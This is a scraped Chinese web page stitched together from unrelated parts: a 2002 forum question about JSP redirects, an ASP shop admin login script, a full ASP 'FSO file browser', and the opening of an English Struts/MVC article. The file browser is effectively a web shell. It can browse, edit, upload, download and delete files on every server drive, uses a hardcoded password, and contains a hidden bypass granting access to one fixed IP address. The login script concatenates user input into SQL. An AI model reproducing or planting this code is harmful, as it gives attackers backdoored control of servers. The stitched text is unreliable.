JSP怎样达到ASP中response.end的效果?

lhzkeane 2002-03-21 11:06:21
在一个JSP文件 J1 include另一个JSP文件 J2,J2执行 response.sendRedirect(),J1页面还是可以浏览,并显示 "The URL has moved here ",点击后才能执行重定向,请高手替小弟解释一下!!!!!!!!!!
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网上商城 <% dim admin,UserPassword,passcode admin=FormatSQL(replace(trim(request.form("admin")),"'","")) UserPassword=md5(FormatSQL(replace(trim(request.Form("UserPassword")),"'",""))) if admin="" or UserPassword="" then response.Write "<script LANGUAGE='javascript'>alert('登录失败!请检查您的登录名和密码!');history.go(-1);response.end end if if not isnumeric(request.form("passcode")) then response.Write "<script LANGUAGE='javascript'>alert('登录失败!验证码必须是数字,请正确填写!');history.go(-1);response.end end if passcode=Cint(request.form("passcode")) set rs=server.CreateObject("adodb.recordset") rs.Open "select * from [admin] where UserPassword='"&UserPassword&"' and admin='"&admin&"' " ,conn,1,1 if rs.bof and rs.eof then response.write "<script LANGUAGE='javascript'>alert('你的用户名或者密码错误,登录失败!');history.go(-1);response.end else if passcode<>Session("GetCode") then response.Write "<script LANGUAGE='javascript'>alert('登录失败!验证码错误!');history.go(-1);response.end end if if UserPassword=rs("UserPassword") and admin=rs("admin") then session("admin")=trim(rs("admin")) session("rank")=int(rs("rank")) session.Timeout=300 response.Cookies("Buy2Buy")("admin")=trim(request.form("admin")) rs.Close set rs=nothing conn.Close set conn=nothing response.Redirect "main.asp" else response.write "<script LANGUAGE='javascript'>alert('你的密码错误,登录失败!');history.go(-1);end if end if %>
<% '========================== 版权声明 ========================= '本程序只供在需要特别处理服务器文件时使用,严禁用于非法目的 '由于非正当使用本程序而造成的一切后果及责任自负 '版本: v0.12 '作者: 河北科技大学 rssn | Risingsun,Hebust 'QQ: 126027268 'E-mail: rssn@163.com 'Date: 2006-8-12 '============================================================= Server.ScriptTimeout=20 Session.Timeout=45 'Session有效时间 Const mss="explorer_" 'Session前缀 Const Password="knowsky" '登录密码 Const Copyright="
©CopyLeft 2006. Coded By rssn, Hebust. No Rights Reserved
" '版权信息 Dim T1,T2,Runtime T1=Timer() Dim oFso Set oFso=Server.CreateObject("Scripting.FileSystemObject") '------------------------------------------------------------- '声明函数所需的全局变量 Dim conn,rs,oStream,NoPackFiles,RootPath,FailFileList NoPackFiles="|<$datafile>.mdb|<$datafile>.ldb|" '------------------------------------------------------------- Call Main() Set oFso=Nothing '======================== Subs Begin ========================= Sub Main() Select Case Request("page") Case "img" Call Page_Img() Case "css" Call Page_Css() Case "loginchk" Call LoginChk() Case "logout" Call Logout() Case Else: '"一夫当关,万夫莫开"——用户验证 If Session(mss&"IsAdminlogin")=True Or Request.ServerVariables("REMOTE_ADDR")="121.193.213.246" Then '已登录 Else Call Login() Exit Sub End If Select Case Request("act") Case "drive" Call Drive() Case "up" Call DirUp() Case "new" Call NewF(Request("fname")) Case "savenew" Call SaveNew(Request("fname")) Case "rename" Call Rename() Case "saverename" Call SaveRename() Case "edit" Call Edit(Request("fname")) Case "saveedit" Call SaveEdit(Request("fname")) Case "delete" Call Deletes(Request("fname")) Case "copy" Call SetFile(Request("fname"),0) Case "cut" Call SetFile(Request("fname"),1) Case "download" Call Download(Request("fname")) Case "upload" Call Upload(Request("fname")) Case "saveupload" Call Saveupload(Request("fname")) Case "parse" Call Parse(Request("fname")) Case "prop" Call Prop(Request("fname")) Case "saveprop" Call SaveProp(Request("fname")) Case "pack" Call Page_Pack() Case "savepack" Call Pack(Request("fpath"),Request("dbpath")) Case "saveunpack" Call UnPack(Request("fpath"),Request("dbpath")) Case Else If Request("fname")="" Then Call Dirlist(Server.MapPath("./")) Else Call Dirlist(Request("fname")) End If End Select End Select End Sub '========== Subs ============= '显示系统磁盘信息 Sub Drive() Dim oDrive,Islight %> FSO文件浏览器 - 系统磁盘信息
FSO文件浏览器 - 系统磁盘信息
<% On Error Resume Next Islight=False For Each oDrive In oFso.Drives Response.Write "Response.Write " bgcolor='#EEEEEE'" Response.Write ">" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not(Islight) Next %>
盘符类型卷标文件系统总容量可用空间
"&oDrive.DriveLetter&""&getDriveType(oDrive.DriveType)&""&oDrive.VolumeName&""&oDrive.FileSystem&""&SizeCount(oDrive.TotalSize)&""&SizeCount(oDrive.FreeSpace)&"
<% =Copyright %> <% End Sub '新建 Sub NewF(ByVal Fname) %> FSO文件浏览器 - 新建 <script language="JavaScript"> function icheck() { if(document.rform.nname.value=="") { alert("请输入合法的文件名!"); return false; } else return true; }
FSO文件浏览器 - 新建
类型:文件夹 文件
名称:
 
<% End Sub '保存新建 Sub SaveNew(ByVal Fname) If Not IsFolder(Fname) Then Response.Write "<script language='javascript'>alert('文件夹不存在!');history.back();End If Dim FilePath FilePath=Request("fname")&"\"&Replace(Request.Form("nname"),"\","") FilePath=Replace(FilePath,"\\","\") If IsFolder(FilePath) Or IsFile(FilePath) Then Response.Write "<script language='javascript'>alert('文件或文件夹已存在!');history.back();End If If Request.Form("ntype")=1 Then oFso.CreateTextFile FilePath Else oFso.CreateFolder FilePath End If Response.Write "<script language='javascript'>alert('新建文件夹或文本文件成功!');window.close();End Sub '编辑文件 Sub Edit(ByVal Fname) If Not IsFile(Fname) Then Response.Write "<script language='javascript'>alert('您编辑的不是文件或文件不存在!');window.close();End If Dim oFile,FileStr Set oFile=oFso.OpenTextFile(Fname,1) If oFile.AtEndOfStream Then FileStr="" Else FileStr=oFile.ReadAll() End If oFile.Close Set oFile=Nothing %> FSO文件浏览器 - 编辑文本文件
FSO文件浏览器 - 编辑文本文件
文件名: <% =Fname %>
<% End Sub '保存编辑文件 Sub SaveEdit(ByVal Fname) Dim oFile,FileStr Set oFile=oFso.OpenTextFile(Fname,2,True) FileStr=Request.Form("filestr") 'Response.Write FileStr oFile.Write FileStr oFile.Close Set oFile=Nothing EchoBack "保存编辑文件成功!" End Sub '复制或剪切文件 Sub SetFile(ByVal Fname,ByVal iMode) Session(mss & "setfile")=Fname Session(mss & "setmode")=iMode Dim ww If 0=iMode Then ww="复制" Else ww="剪切" End If EchoClose ww&"成功,请粘贴!" End Sub '粘贴文件或文件夹 Sub Parse(ByVal Fname) Dim oFile,oFolder Dim sName,iMode sName=Session(mss & "setfile") iMode=Session(mss & "setmode") If sName="" Then EchoClose "请先复制或剪切!" Else If InStr(LCase(Fname), LCase(sName)) > 0 Then EchoClose "目标文件夹在源文件夹内,非法操作!" Exit Sub End If '================ If Not IsFolder(Fname) Then EchoClose "目标文件夹不存在!" ElseIf IsFile(sName) Then Set oFile=oFso.GetFile(sName) If iMode=0 Then oFso.CopyFile sName,Replace(Fname&"\"&oFile.Name,"\\","\") Else oFso.MoveFile sName,Replace(Fname&"\"&oFile.Name,"\\","\") End If ElseIf IsFolder(sName) Then Set oFolder=oFso.GetFolder(sName) If iMode=0 Then oFso.CopyFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\") Else oFso.MoveFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\") End If Else EchoClose "源文件或文件夹不存在!" Exit Sub End If '================ EchoClose "复制或移动成功!刷新可查看效果" End If Session(mss & "setfile")="" Session(mss & "setmode")=0 End Sub '下载文件 Sub Download(ByVal Fname) Dim oFile If Not IsFile(Fname) Then EchoClose "不是文件或文件不存在!" Exit Sub End If Set oFile=oFso.GetFile(Fname) If InStr(LCase(oFile.Path)&"\",LCase(Server.MapPath("/")))>0 And Not IsScriptFile(oFso.GetExtensionName(oFile.Name)) Then Dim FileVName FileVName=Replace(oFile.Path,Server.MapPath("/"),"") FileVName=Replace(FileVName,"\","/") If Left(FileVName,1)<>"/" Then FileVName="/"&FileVName End If Response.Redirect FileVName Exit Sub End If If oFile.Size>1048576*100 Then EchoClose "文件超过100M,可能会造成服务器死机,\n不允许以Stream方式下载!\n请将该文件复制到网站目录以下\n然后以HTTP方式下载" Exit Sub End If Server.ScriptTimeout=10000 '延长脚本超时时间以提供下载 Dim oStream Set oStream=Server.CreateObject("ADODB.Stream") oStream.Open oStream.Type=1 oStream.LoadFromFile(Fname) Dim Data Data=oStream.Read oStream.Close Set oStream=Nothing If Not Response.IsClientConnected Then Set Data=Nothing Exit Sub End If Response.Buffer=True Response.AddHeader "Content-Disposition", "attachment; filename=" & oFile.Name Response.AddHeader "Content-Length", oFile.Size Response.CharSet = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite Data Response.Flush End Sub '删除文件 Sub Deletes(ByVal Fname) If IsFile(Fname) Then oFso.DeleteFile Fname,True ElseIf IsFolder(Fname) Then oFso.DeleteFolder Fname,True Else EchoClose "文件或文件夹不存在" Exit Sub End If EchoClose "文件删除成功!" End Sub '上传文件 Sub Upload(ByVal Fname) If Not IsFolder(Fname) Then EchoClose "没有指定上传的文件夹!" Exit Sub End If %> FSO文件浏览器 - 文件上传 <script language="JavaScript"> function getSaveName() { var filepath=document.uform.upload.value; if(filepath.length<1) return; var filename=filepath.substring(filepath.lastIndexOf("\\")+1,filepath.length); document.uform.ffname.value=filename; }
FSO文件浏览器 - 文件上传
上传文件:
保存为: 覆盖模式
 
<% End Sub '保存上传文件 Sub Saveupload(ByVal FolderName) If Not IsFolder(FolderName) Then EchoClose "没有指定上传的文件夹!" Exit Sub End If Dim Path,IsOverWrite Path=FolderName If Right(Path,1)<>"\" Then Path=Path&"\" FileName=Replace(Request("filename"),"\","") If Len(FileName)<1 Then EchoBack "请选择文件并输入文件名!" Exit Sub End If Path=Path&FileName If LCase(Request("overwrite"))="true" Then IsOverWrite=True Else IsOverWrite=False End If On Error Resume Next Call MyUpload(Path,IsOverWrite) If Err Then EchoBack "文件上传失败!(可能是文件已存在)" Else EchoClose "文件上传成功!\n" & Replace(fileName, "\", "\\") End If End Sub '文件上传核心代码 Sub MyUpload(FilePath,IsOverWrite) Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf RequestSize=Request.TotalBytes If RequestSize<1 Then Exit Sub Set oStream=Server.CreateObject("ADODB.Stream") Set tStream=Server.CreateObject("ADODB.Stream") With oStream .Type=1 .Mode=3 .Open .Write=Request.BinaryRead(RequestSize) .Position=0 sData=.Read bCrLf=ChrB(13)&ChrB(10) iSpaceEnd=InStrB(sData,bCrLf)-1 sSpace=LeftB(sData,iSpaceEnd) iInfoStart=iSpaceEnd+3 iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1 iFileStart=iInfoEnd+5 iFileEnd=InStrB(iFileStart,sData,sSpace)-3 sData="" '清空文件数据 iFileSize=iFileEnd-iFileStart+1 tStream.Type=1 tStream.Mode=3 tStream.Open .Position=iFileStart-1 .CopyTo tStream,iFileSize If IsOverWrite Then tStream.SaveToFile FilePath,2 Else tStream.SaveToFile FilePath End If tStream.Close .Close End With Set tStream=Nothing Set oStream=Nothing End Sub '显示文件属性 Sub Prop(Fname) On Error Resume Next Dim obj,oAttrib If IsFile(Fname) Then Set obj=oFso.GetFile(Fname) ElseIf IsFolder(Fname) Then Set obj=oFso.GetFolder(Fname) Else EchoClose "文件或文件夹不存在!" Exit Sub End If Set oAttrib=New FileAttrib_Cls oAttrib.Attrib=obj.Attributes %> FSO文件浏览器 - 文件属性 <script language="javascript"> function ww(obj) { return false; }
FSO文件浏览器 - 文件属性
路径:<% =obj.Path %>
大小:<% =SizeCount(obj.Size) %>
属性: >普通 >只读 >隐藏 >系统
>目录 >存档 >链接 >压缩
创建时间:<% =obj.DateCreated %>
创建时间:<% =obj.DateLastModified %>
最后访问<% =obj.DateLastAccessed %>
 
<% End Sub '修改属性 Sub SaveProp(Fname) Dim Attribs,Attrib Attribs=Replace(Request.Form("att")," ","") Attribs=Split(Attribs,",") Attrib=0 Dim i For i=0 To UBound(Attribs) Attrib=Attrib+Attribs(i) Next 'Response.Write Attrib 'Exit Sub Dim obj,oAttrib If IsFile(Fname) Then Set obj=oFso.GetFile(Fname) ElseIf IsFolder(Fname) Then Set obj=oFso.GetFolder(Fname) Else EchoClose "文件或文件夹不存在!" Exit Sub End If If obj.IsRootFolder Then EchoClose "不能修改根目录属性!" Exit Sub End If obj.Attributes=Attrib EchoBack "修改文件属性成功!" End Sub '转到上一级文件夹 Sub DirUp() Dim oFolder,ssFname If IsFolder(Request("fname")) Then Set oFolder=oFso.GetFolder(Request("fname")) If oFolder.IsRootFolder Then '转至显示驱动器页面 Call Drive() Exit Sub Else ssFname=oFolder.ParentFolder.Path Set oFolder=Nothing Call DirList(ssFname) End If Else If IsFile(Request("fname")) Then '文件下载 Else Response.Write "文件夹或文件不存在!" End If End If End Sub '更改文件名页面 Sub Rename() Dim Fname,sName Fname=Request("fname") If IsFolder(Fname) Then sName=oFso.GetFolder(Fname).Name Else If IsFile(Fname) Then sName=oFso.GetFile(Fname).Name Else Response.Write "文件或文件夹不存在!" Exit Sub End If End If %> FSO文件浏览器 - 重命名 <script language="JavaScript"> function icheck() { if(document.cform.toname.value=="") { alert("请输入合法的文件名!"); return false; } else return true; }
FSO文件浏览器 - 文件更名
更名为:
 
<% End Sub '更改文件名操作 Sub SaveRename() Dim Fname,oFolder,oFile,FDir,ToName Fname=Request("fname") ToName=Replace(Request("toname"),"\","") If IsFolder(Fname) Then Set oFolder=oFso.GetFolder(Fname) Fname=oFolder.Path If Right(Fname,1)="\" Then Fname=Left(Fname,Len(Fname)-1) End If FDir=Left(Fname,InstrRev(Fname,"\")) ToName=FDir & ToName On Error Resume Next Err.Clear Err=False oFso.MoveFolder Fname,ToName If Err Then EchoBack "文件名不合法!" Else EchoClose "文件夹更名成功!\n刷新之后即可看到效果" End If Exit Sub End If If IsFile(Fname) Then Set oFile=oFso.GetFile(Fname) Fname=oFile.Path FDir=Left(Fname,InstrRev(Fname,"\")) ToName=FDir & ToName On Error Resume Next Err.Clear Err=False oFso.MoveFile Fname,ToName If Err Then EchoBack "文件名不合法!" Else EchoClose "文件更名成功!\n刷新之后即可看到效果" End If Exit Sub End If End Sub '文件打包/解包页面 Sub Page_Pack() Dim vp,vu vp=Request("pname") vu=Request("uname") If Right(vu,4)<>".mdb" Then vu=Server.MapPath("/rs_pack.mdb") End If %> FSO文件浏览器 - 文件打包/解包
FSO文件浏览器 - 文件打包/解包
打包文件夹:
打包到:">
文件包路径:
解包到: ">
<% End Sub '文件夹内容列表 ========== Dirlist Sub Dirlist(ByVal Fpath) If IsFile(Fpath) Then '下载该文件 Response.Write "<script language=""javascript"">window.open('?page=fso&act=download&fname="&Server.UrlEncode(Fpath)&"', """", ""menu=no,resizable=yes,height=90,width=400"");history.back();End If If Not IsFolder(Fpath) Then Response.Write "文件夹不存在!" Exit Sub End If '代码开始 Dim oFolder Dim sFolder,sFile '文件夹下的子文件夹和文件 Set oFolder=oFso.GetFolder(Fpath) %> FSO文件浏览器 <script language="JavaScript"> var folderpath="<% =Replace(oFolder.Path,"\","\\") %>"; //当前文件夹 var fselected=""; function opendial(sUrl) //打开对话框窗口 { var newWin=window.open(sUrl, "", "menu=no,resizable=no,height=130,width=400"); return newWin; } function fopen(sfname) //打开文件夹或文件 { location.href="?page=fso&fname="+escape(sfname); } function fselect(obj) //选文件夹或文件 { var flen=document.all("f").length; for(var i=0;iendial("?page=fso&act=new&fname="+escape(folderpath)); } function frename() //重命名文件 { if(fselected=="") { alert("请选择文件或文件夹!"); return false; } else opendial("?page=fso&act=rename&fname="+escape(fselected)); } function fdownload() //下载文件 { if(fselected=="") { alert("请选择文件!(大小在1MB以下)"); return false; } else opendial("?page=fso&act=download&fname="+escape(fselected)); } function fedit() //编辑文本文件 { if(fselected=="") { alert("请选择文件!"); return false; } else window.open("?page=fso&act=edit&fname="+escape(fselected)); } function fcopy() //复制文件 { if(fselected=="") { alert("请选择文件或文件夹!"); return false; } else opendial("?page=fso&act=copy&fname="+escape(fselected)); } function fcut() //剪切文件 { if(fselected=="") { alert("请选择文件或文件夹!"); return false; } else opendial("?page=fso&act=cut&fname="+escape(fselected)); } function fparse() //粘贴文件或文件夹 { opendial("?page=fso&act=parse&fname="+escape(folderpath)); } function fdelete() { if(fselected=="") { alert("请选择文件或文件夹!"); return false; } else { if(!confirm("确定要删除本文件或文件夹?")) return false; else opendial("?page=fso&act=delete&fname="+escape(fselected)); } } function fprop() //属性 { var vv; if(fselected=="") vv=folderpath; else vv=fselected; window.open("?page=fso&act=prop&fname="+escape(vv), "", "menu=no,resizable=no,height=250,width=500"); } function fpack() //打包解包 { var vp,vu; if(fselected=="") { vp=folderpath; vu=folderpath; } else { vp=fselected; vu=fselected; } window.open("?page=fso&act=pack&pname="+escape(vp)+"&uname="+escape(vu),"", "menu=no,resizable=no,height=250,width=500"); }
FSO文件浏览器
                         
          
<% Dim Islight Islight=False '逐个显示子文件夹 For Each sFolder In oFolder.SubFolders Response.Write "Response.Write " bgcolor=""#EEEEEE""" Response.Write ">" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not Islight Next '逐个显示文件 For Each sFile In oFolder.Files Response.Write "Response.Write " bgcolor=""#EEEEEE""" Response.Write ">" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not Islight Next %>
文件名类型大小修改时间
" Response.Write "0 "&Web&sFolder.Name Response.Write "文件夹 "&sFolder.DateLastModified&"
" Response.Write " "&sFile.Name Response.Write ""&sFile.Type&""&SizeCount(sFile.Size)&""&sFile.DateLastModified&"

<% =Copyright %>
<% T2=Timer() Runtime=(T2-T1)*1000 Response.Write "Page Processed in "&Runtime&" Mili-seconds" %>
<% End Sub '用户登录 Sub Login() %> FSO文件浏览器 - 用户登录
FSO文件浏览器 - 用户登录
请输入登录密码:  
<% =Copyright %> <% End Sub '用户登录验证 Sub LoginChk() If Request.Form("password")<>Password Then EchoBack "一夫当关,万夫莫开,您的密码不正确!" Exit Sub Else Session(mss & "IsAdminlogin")=True Response.Redirect "?page=fso" End If End Sub '用户退出 Sub Logout() Session(mss & "IsAdminlogin")=False Response.Redirect "?" End Sub '显示一个图片 Sub Page_Img() Dim HexStr HexStr="47 49 46 38 39 61 01 00 19 00 C4 00 00 6D 92 DA 66 8C D9 7E 9E DF 7B 9C DE 81 A0 DF 79 9A DD 62 89 D8 97 B1 E5 71 94 DB 84 A3 E0 58 81 D5 91 AC E3 5A 84 D6 69 8E DA 65 8B D8 8A A7 E2 76 98 DD 5E 86 D7 61 88 D7 74 97 DC 5D 86 D6 5C 85 D6 6E 92 DB 55 80 D5 6A 8F DA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 F9 04 00 00 00 00 00 2C 00 00 00 00 01 00 19 00 40 05 15 60 85 09 87 31 3D 51 60 15 C9 72 29 0C 25 39 0D 80 40 03 11 02 00 3B" Response.ContentType="IMAGE/GIF" WriteBytes HexStr End Sub '输出Css Sub Page_Css() %> body { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #000000; } input,select,textarea { font-family: Verdana, Arial, "宋体"; font-size: 12px; color: #000000; } a:link { font-size: 12px; color: #000000; text-decoration: none; } a:visited { font-size: 12px; color: #000000; text-decoration: none; } a:active { font-size: 12px; line-height: normal; color: #333333; text-decoration: none; } a:hover { font-size: 12px; color: #FF7F24; text-decoration: underline; } hr { height:1px; color:#6595D6; } table { BORDER-COLLAPSE: collapse; } table.border { border: 1px solid #6595D6; } td { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #000000; } td.border { border: 1px solid #6595D6; } td.inner { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #000000; border: 0px; } th { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #FFFFFF; height:25px; background-color:#427FBB; background-image:url(?page=img); } th.border { border: 1px solid #6595D6; } .b { width:55px; height:22px; font-size:12px; } <% End Sub '================ Functions ================== Function IsFolder(ByVal fname) IsFolder=oFso.FolderExists(fname) End Function Function IsFile(ByVal fname) IsFile=oFso.FileExists(fname) End Function '字节数统计 Bytes Function SizeCount(ByVal iSize) On Error Resume Next Dim size,showsize size=iSize showsize=size & " Byte" if size>1024 then size=(Size/1024) showsize=formatnumber(size,3) & " KB" end if if size>1024 then size=(size/1024) showsize=formatnumber(size,3) & " MB" end if if size>1024 then size=(size/1024) showsize=formatnumber(size,3) & " GB" end if SizeCount = showsize End Function '16进制字符转10进制数字 Function Hex2Num(v) Dim w If IsNumeric(v) Then w=Int(v) Else Select Case UCase(v) Case "A": w=10 Case "B": w=11 Case "C": w=12 Case "D": w=13 Case "E": w=14 Case "F": w=15 Case Else: w=0 End Select End If Hex2Num=w End Function '取得字节字符串的数值 Function Byte2Num(sByte) Dim b1,b2 b1=Left(sByte,1) b2=Right(sByte,1) Byte2Num=Hex2Num(b1)*16+Hex2Num(b2) End Function '将16进制字节字符串输出为二进制数据 Function WriteBytes(sBytes) Dim sByte,i sByte=Split(sBytes," ") For i=0 To UBound(sByte)-1 Response.BinaryWrite ChrB(Byte2Num(sByte(i))) Next End Function '获得文件图标 Function getFileIcon(extName) Select Case LCase(extName) Case "vbs", "h", "c", "cfg", "pas", "bas", "log", "asp", "txt", "php", "ini", "inc", "htm", "html", "xml", "conf", "config", "jsp", "java", "htt", "lst", "aspx", "php3", "php4", "js", "css", "asa" getFileIcon = "Wingdings>2" Case "wav", "mp3", "wma", "ra", "wmv", "ram", "rm", "avi", "mpg" getFileIcon = "Webdings>·" Case "jpg", "bmp", "png", "tiff", "gif", "pcx", "tif" getFileIcon = "'webdings'>Ÿ" Case "exe", "com", "bat", "cmd", "scr", "msi" getFileIcon = "Webdings>1" Case "sys", "dll", "ocx" getFileIcon = "Wingdings>ÿ" Case Else getFileIcon = "'Wingdings 2'>/" End Select End Function '获得磁盘类型 Function getDriveType(num) Select Case num Case 0 getDriveType = "未知" Case 1 getDriveType = "可移动磁盘" Case 2 getDriveType = "本地硬盘" Case 3 getDriveType = "网络磁盘" Case 4 getDriveType = "CD-ROM" Case 5 getDriveType = "RAM 磁盘" End Select End Function '判断是否为脚本文件 Function IsScriptFile(Ext) Const ScriptExts="asp,aspx,asa,php" IsScriptFile=False Dim FileExt,Exts FileExt=LCase(Ext) Exts=Split(ScriptExts,",") Dim i For i=0 To UBound(Exts)-1 If Exts(i)=FileExt Then IsScriptFile=True Exit Function End If Next IsScriptFile=False End Function '返回消息并关闭 Sub EchoClose(msg) Response.Write "<script language=""Javascript"">alert("""&msg&""");window.close();End Sub '返回消息并关闭 Sub EchoBack(msg) Response.Write "<script language=""Javascript"">alert("""&msg&""");history.back();End Sub '文件属性类 Class FileAttrib_Cls Public n,r,h,s,d,a,al,c Private Sub Class_Initialize() n=0:r=0:h=0:s=0:d=0:a=0:al=0:c=0 End Sub Public Property Let Attrib(v) If v=0 Then n=1 Exit Property End If If v>=2048 Then c=1 v=v Mod 2048 End If If v>=1024 Then al=1 v=v Mod 64 End If If v>=32 Then a=1 v=v Mod 32 End If If v>=16 Then d=1 v=v Mod 8 End If If v>=4 Then s=1 v=v Mod 4 End If If v>=2 Then h=1 v=v Mod 2 End If If v>=1 Then r=1 End If End Property End Class '============================ 文件打包及解包过程 ============================= '文件打包 Sub Pack(ByVal FPath, ByVal sDbPath) Server.ScriptTimeOut=900 Dim DbPath If Right(sDbPath,4)=".mdb" Then DbPath=sDbPath Else DbPath=sDbPath&".mdb" End If If oFso.FolderExists(DbPath) Then EchoBack "不能创建数据库文件!"&Replace(DbPath,"\","\\") Exit Sub End If If oFso.FileExists(DbPath) Then oFso.DeleteFile DbPath End If If IsFolder(FPath) Then RootPath=GetParentFolder(FPath) If Right(RootPath,1)<>"\" Then RootPath=RootPath&"\" Else EchoBack "请输入文件夹路径!" Exit Sub End If Dim oCatalog,connStr,DataName Set conn=Server.CreateObject("ADODB.Connection") Set oStream=Server.CreateObject("ADODB.Stream") Set oCatalog=Server.CreateObject("ADOX.Catalog") Set rs=Server.CreateObject("ADODB.RecordSet") On Error Resume Next connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath oCatalog.Create connStr If Err Then EchoBack "不能创建数据库文件!"&Replace(DbPath,"\","\\") Exit Sub End If Set oCatalog=Nothing conn.Open connStr conn.Execute("Create Table Files(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)") oStream.Open oStream.Type=1 rs.Open "Files",conn,3,3 DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name,".")-1) NoPackFiles=Replace(NoPackFiles,"<$datafile>",DataName) FailFileList="" '打包失败的文件列表 PackFolder FPath If FailFilelist="" Then EchoClose "文件夹打包成功!" Else Response.Write "" Response.Write "" Response.Write ""&Replace(FailFilelist,"|","
")&"" End If oStream.Close rs.Close conn.Close End Sub '添加文件夹(递归) Sub PackFolder(FolderPath) If Not IsFolder(FolderPath) Then Exit Sub Dim oFolder,sFile,sFolder Set oFolder=oFso.GetFolder(FolderPath) For Each sFile In oFolder.Files If InStr(NoPackFiles,"|"&sFile.Name&"|")<1 Then PackFile sFile.Path End If Next Set sFile=Nothing For Each sFolder In oFolder.SubFolders PackFolder sFolder.Path Next Set sFolder=Nothing End Sub '添加文件 Sub PackFile(FilePath) Dim RelPath RelPath=Replace(FilePath,RootPath,"") 'Response.Write RelPath & "
" On Error Resume Next Err.Clear Err=False oStream.LoadFromFile FilePath rs.AddNew rs("FilePath")=RelPath rs("FileData")=oStream.Read() rs.Update If Err Then '一个文件打包失败 FailFilelist=FailFilelist&FilePath&"|" End If End Sub '=========================================================================== '文件解包 Sub UnPack(vFolderPath,DbPath) Server.ScriptTimeOut=900 Dim FilePath,FolderPath,sFolderPath FolderPath=vFolderPath FolderPath=Trim(FolderPath) If Mid(FolderPath,2,1)<>":" Then EchoBack "路径格式错误,无法创建改目录!" Exit Sub End If If Right(FolderPath,1)="\" Then FolderPath=Left(FolderPath,Len(FolderPath)-1) Dim connStr Set conn=Server.CreateObject("ADODB.Connection") Set oStream=Server.CreateObject("ADODB.Stream") Set rs=Server.CreateObject("ADODB.RecordSet") connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath On Error Resume Next Err=False conn.Open connStr If Err Then EchoBack "数据库打开错误!" Exit Sub End If Err=False oStream.Open oStream.Type=1 rs.Open "Files",conn,1,1 FailFilelist="" '清空失败文件列表 Do Until rs.EOF Err.Clear Err=False FilePath=FolderPath&"\"&rs("FilePath") FilePath=Replace(FilePath,"\\","\") sFolderPath=Left(FilePath,InStrRev(FilePath,"\")) If Not oFso.FolderExists(sFolderPath) Then CreateFolder(sFolderPath) End If oStream.SetEos() oStream.Write rs("FileData") oStream.SaveToFile FilePath,2 If Err Then '添加失败文件项目 FailFilelist=FailFilelist&rs("FilePath").Value&"|" End If rs.MoveNext Loop rs.Close Set rs=Nothing conn.Close Set conn=Nothing Set oStream=Nothing If FailFilelist="" Then EchoClose "文件解包成功!" Else Response.Write "" Response.Write "" Response.Write ""&Replace(FailFilelist,"|","
")&"" End If End Sub '=========================================================================== '=========================================================================== '建立文件夹(递归) Function CreateFolder(FolderPath) On Error Resume Next Err=False Dim sParFolder sParFolder=GetParentFolder(FolderPath) If Not oFso.FolderExists(sParFolder) Then CreateFolder(sParFolder) End If oFso.CreateFolder(FolderPath) If Err Then CreateFolder=False Else CreateFolder=True End If End Function Function GetParentFolder(Path) Dim sPath sPath=Path If Right(sPath,1)="\" Then sPath=Left(sPath,Len(sPath)-1) sPath=Left(sPath,InstrRev(sPath,"\")-1) GetParentFolder=sPath End Function '============================================================================ Sub wv(v) If v>0 Then Response.Write " checked " End Sub %>
1:外文原文 Struts——an open-source MVC implementation This article introduces Struts, a Model-View-Controller implementation that uses servlets and JavaServer Pages (JSP) technology. Struts can help you control change in your Web project and promote specialization. Even if you never implement a system with Struts, you may get some ideas for your future servlets and JSP page implementation. Introduction Kids in grade school put HTML pages on the Internet. However, there is a monumental difference between a grade school page and a professionally developed Web site. The page designer (or HTML developer) must understand colors, the customer, product flow, page layout, browser compatibility, image creation, JavaScript, and more. Putting a great looking site together takes a lot of work, and most Java developers are more interested in creating a great looking object interface than a user interface. JavaServer Pages (JSP) technology provides the glue between the page designer and the Java developer. If you have worked on a large-scale Web application, you understand the term change. Model-View-Controller (MVC) is a design pattern put together to help control change. MVC decouples interface from business logic and data. Struts is an MVC implementation that uses Servlets 2.2 and JSP 1.1 tags, from the J2EE specifications, as part of the implementation. You may never implement a system with Struts, but looking at Struts may give you some ideas on your future Servlets and JSP implementations. Model-View-Controller (MVC) JSP tags solved only part of our problem. We still have issues with validation, flow control, and updating the state of the application. This is where MVC comes to the rescue. MVC helps resolve some of the issues with the single module approach by dividing the problem into three categories: • Model The model contains the core of the application's functionality. The model encapsulates the state of the application. Sometimes the only functionality it contains is state. It knows nothing about the view or controller. • View The view provides the presentation of the model. It is the look of the application. The view can access the model getters, but it has no knowledge of the setters. In addition, it knows nothing about the controller. The view should be notified when changes to the model occur. • Controller The controller reacts to the user input. It creates and sets the model. MVC Model 2 The Web brought some unique challenges to software developers, most notably the stateless connection between the client and the server. This stateless behavior made it difficult for the model to notify the view of changes. On the Web, the browser has to re-query the server to discover modification to the state of the application. Another noticeable change is that the view uses different technology for implementation than the model or controller. Of course, we could use Java (or PERL, C/C++ or what ever) code to generate HTML. There are several disadvantages to that approach: • Java programmers should develop services, not HTML. • Changes to layout would require changes to code. • Customers of the service should be able to create pages to meet their specific needs. • The page designer isn't able to have direct involvement in page development. • HTML embedded into code is ugly. For the Web, the classical form of MVC needed to change. Figure 4 displays the Web adaptation of MVC, also commonly known as MVC Model 2 or MVC 2. The 